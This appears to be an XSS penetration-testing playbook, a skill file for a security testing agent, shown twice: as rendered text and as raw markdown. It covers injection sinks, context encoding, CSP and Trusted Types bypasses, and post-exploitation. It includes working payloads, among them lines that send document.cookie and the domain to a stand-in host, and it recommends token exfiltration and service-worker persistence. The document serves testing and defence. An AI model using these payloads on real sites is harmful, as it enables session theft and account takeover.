XSS
Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
Attack Surface
Types
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
Contexts
- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
Frameworks
- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR
Defenses to Bypass
- CSP/Trusted Types, DOMPurify, framework auto-escaping
Injection Points
Server Render
- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
Client Render
innerHTML/outerHTML/insertAdjacentHTML, template literals
dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
URL/DOM
location.hash/search, document.referrer, base href, data-* attributes
Events/Handlers
onerror/onload/onfocus/onclick and javascript: URL handlers
Cross-Context
- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
File/Metadata
- Image/SVG/XML names and EXIF, office documents processed server/client
Context Encoding Rules
- HTML text: encode
< > & " '
- Attribute value: encode
" ' < > & and ensure attribute quoted; avoid unquoted attributes
- URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
- JS string: escape quotes, backslashes, newlines; prefer
JSON.stringify
- CSS: avoid injecting into style; sanitize property names/values; beware
url() and expression()
- SVG/MathML: treat as active content; many tags execute via onload or animation events
Key Vulnerabilities
DOM XSS
Sources
location.* (hash/search), document.referrer, postMessage, storage, service worker messages
Sinks
innerHTML/outerHTML/insertAdjacentHTML, document.write
setAttribute, setTimeout/setInterval with strings
eval/Function, new Worker with blob URLs
Vulnerable Pattern
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
Exploit: ?q=<img src=x>
Mutation XSS
Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
<noscript><p title="</noscript><img src=x
<form><button formaction=javascript:alert(1)>
Template Injection
Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
CSP Bypass
- Weak policies: missing nonces/hashes, wildcards,
data: blob: allowed, inline events allowed
- Script gadgets: JSONP endpoints, libraries exposing function constructors
- Import maps or modulepreload lax policies
- Base tag injection to retarget relative script URLs
- Dynamic module import with allowed origins
Trusted Types Bypass
- Custom policies returning unsanitized strings; abuse policy whitelists
- Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets
Polyglot Payloads
Keep a compact set tuned per context:
- HTML node:
<svg>
- Attr quoted:
" autofocus x="
- Attr unquoted:
onmouseover=alert(1)
- JS string:
"-alert(1)-"
- URL:
javascript:alert(1)
Framework-Specific
React
- Primary sink:
dangerouslySetInnerHTML
- Secondary: setting event handlers or URLs from untrusted input
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML
Vue
- Sinks:
v-html and dynamic attribute bindings
- SSR hydration mismatches can re-interpret content
Angular
- Legacy expression injection (pre-1.6)
$sce trust APIs misused to whitelist attacker content
Svelte
- Sinks:
{@html} and dynamic attributes
Markdown/Richtext
- Renderers often allow HTML passthrough; plugins may re-enable raw HTML
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist
Special Contexts
Email
- Most clients strip scripts but allow CSS/remote content
- Use CSS/URL tricks only if relevant; avoid assuming JS execution
PDF and Docs
- PDF engines may execute JS in annotations or links
- Test
javascript: in links and submit actions
File Uploads
- SVG/HTML uploads served with
text/html or image/svg+xml can execute inline
- Verify content-type and
Content-Disposition: attachment
- Mixed MIME and sniffing bypasses; ensure
X-Content-Type-Options: nosniff
Post-Exploitation
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
- Real-time control: WebSocket C2 with strict command set
- Persistence: service worker registration; localStorage/script gadget re-injection
- Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays
Testing Methodology
- Identify sources - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
- Trace to sinks - Map data flow from source to sink
- Classify context - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
- Assess defenses - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
- Craft payloads - Minimal payloads per context with encoding/whitespace/casing variants
- Multi-channel - Test across REST, GraphQL, WebSocket, SSE, service workers
Validation
- Provide minimal payload and context (sink type) with before/after DOM or network evidence
- Demonstrate cross-browser execution where relevant or explain parser-specific behavior
- Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
- Quantify impact beyond alert: data accessed, action performed, persistence achieved
False Positives
- Reflected content safely encoded in the exact context
- CSP with nonces/hashes and no inline/event handlers
- Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
Impact
- Session hijacking and credential theft
- Account takeover via token exfiltration
- CSRF chaining for state-changing actions
- Malware distribution and phishing
- Persistent compromise via service workers
Pro Tips
- Start with context classification, not payload brute force
- Use DOM instrumentation to log sink usage; it reveals unexpected flows
- Keep a small, curated payload set per context and iterate with encodings
- Validate defenses by configuration inspection and negative tests
- Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
- Treat SVG/MathML as first-class active content; test separately
- Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
- Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports
Summary
Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.
1---2name: strix-xss3description: Strix XSS 测试手册,覆盖反射型、存储型、DOM 型向量与 CSP 绕过;触发名:strix-xss4---56# XSS78Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).910## Attack Surface1112**Types**13- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells1415**Contexts**16- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF1718**Frameworks**19- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR2021**Defenses to Bypass**22- CSP/Trusted Types, DOMPurify, framework auto-escaping2324## Injection Points2526**Server Render**27- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers2829**Client Render**30- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals31- `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}`3233**URL/DOM**34- `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes3536**Events/Handlers**37- `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers3839**Cross-Context**40- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB4142**File/Metadata**43- Image/SVG/XML names and EXIF, office documents processed server/client4445## Context Encoding Rules4647- **HTML text**: encode `< > & " '`48- **Attribute value**: encode `" ' < > &` and ensure attribute quoted; avoid unquoted attributes49- **URL/JS URL**: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data50- **JS string**: escape quotes, backslashes, newlines; prefer `JSON.stringify`51- **CSS**: avoid injecting into style; sanitize property names/values; beware `url()` and `expression()`52- **SVG/MathML**: treat as active content; many tags execute via onload or animation events5354## Key Vulnerabilities5556### DOM XSS5758**Sources**59- `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages6061**Sinks**62- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write`63- `setAttribute`, `setTimeout`/`setInterval` with strings64- `eval`/`Function`, `new Worker` with blob URLs6566**Vulnerable Pattern**67```javascript68const q = new URLSearchParams(location.search).get('q');69results.innerHTML = `<li>${q}</li>`;70```71Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`7273### Mutation XSS7475Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):76```html77<noscript><p title="</noscript><img src=x onerror=alert(1)>78<form><button formaction=javascript:alert(1)>79```8081### Template Injection8283Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):84```85{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}86```8788### CSP Bypass8990- Weak policies: missing nonces/hashes, wildcards, `data:` `blob:` allowed, inline events allowed91- Script gadgets: JSONP endpoints, libraries exposing function constructors92- Import maps or modulepreload lax policies93- Base tag injection to retarget relative script URLs94- Dynamic module import with allowed origins9596### Trusted Types Bypass9798- Custom policies returning unsanitized strings; abuse policy whitelists99- Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets100101## Polyglot Payloads102103Keep a compact set tuned per context:104- **HTML node**: `<svg onload=alert(1)>`105- **Attr quoted**: `" autofocus onfocus=alert(1) x="`106- **Attr unquoted**: `onmouseover=alert(1)`107- **JS string**: `"-alert(1)-"`108- **URL**: `javascript:alert(1)`109110## Framework-Specific111112### React113114- Primary sink: `dangerouslySetInnerHTML`115- Secondary: setting event handlers or URLs from untrusted input116- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML117118### Vue119120- Sinks: `v-html` and dynamic attribute bindings121- SSR hydration mismatches can re-interpret content122123### Angular124125- Legacy expression injection (pre-1.6)126- `$sce` trust APIs misused to whitelist attacker content127128### Svelte129130- Sinks: `{@html}` and dynamic attributes131132### Markdown/Richtext133134- Renderers often allow HTML passthrough; plugins may re-enable raw HTML135- Sanitize post-render; forbid inline HTML or restrict to safe whitelist136137## Special Contexts138139### Email140141- Most clients strip scripts but allow CSS/remote content142- Use CSS/URL tricks only if relevant; avoid assuming JS execution143144### PDF and Docs145146- PDF engines may execute JS in annotations or links147- Test `javascript:` in links and submit actions148149### File Uploads150151- SVG/HTML uploads served with `text/html` or `image/svg+xml` can execute inline152- Verify content-type and `Content-Disposition: attachment`153- Mixed MIME and sniffing bypasses; ensure `X-Content-Type-Options: nosniff`154155## Post-Exploitation156157- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability158- Real-time control: WebSocket C2 with strict command set159- Persistence: service worker registration; localStorage/script gadget re-injection160- Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays161162## Testing Methodology1631641. **Identify sources** - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON1652. **Trace to sinks** - Map data flow from source to sink1663. **Classify context** - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG1674. **Assess defenses** - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config1685. **Craft payloads** - Minimal payloads per context with encoding/whitespace/casing variants1696. **Multi-channel** - Test across REST, GraphQL, WebSocket, SSE, service workers170171## Validation1721731. Provide minimal payload and context (sink type) with before/after DOM or network evidence1742. Demonstrate cross-browser execution where relevant or explain parser-specific behavior1753. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof1764. Quantify impact beyond alert: data accessed, action performed, persistence achieved177178## False Positives179180- Reflected content safely encoded in the exact context181- CSP with nonces/hashes and no inline/event handlers182- Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists183- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)184185## Impact186187- Session hijacking and credential theft188- Account takeover via token exfiltration189- CSRF chaining for state-changing actions190- Malware distribution and phishing191- Persistent compromise via service workers192193## Pro Tips1941951. Start with context classification, not payload brute force1962. Use DOM instrumentation to log sink usage; it reveals unexpected flows1973. Keep a small, curated payload set per context and iterate with encodings1984. Validate defenses by configuration inspection and negative tests1995. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes2006. Treat SVG/MathML as first-class active content; test separately2017. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)2028. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports203204## Summary205206Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.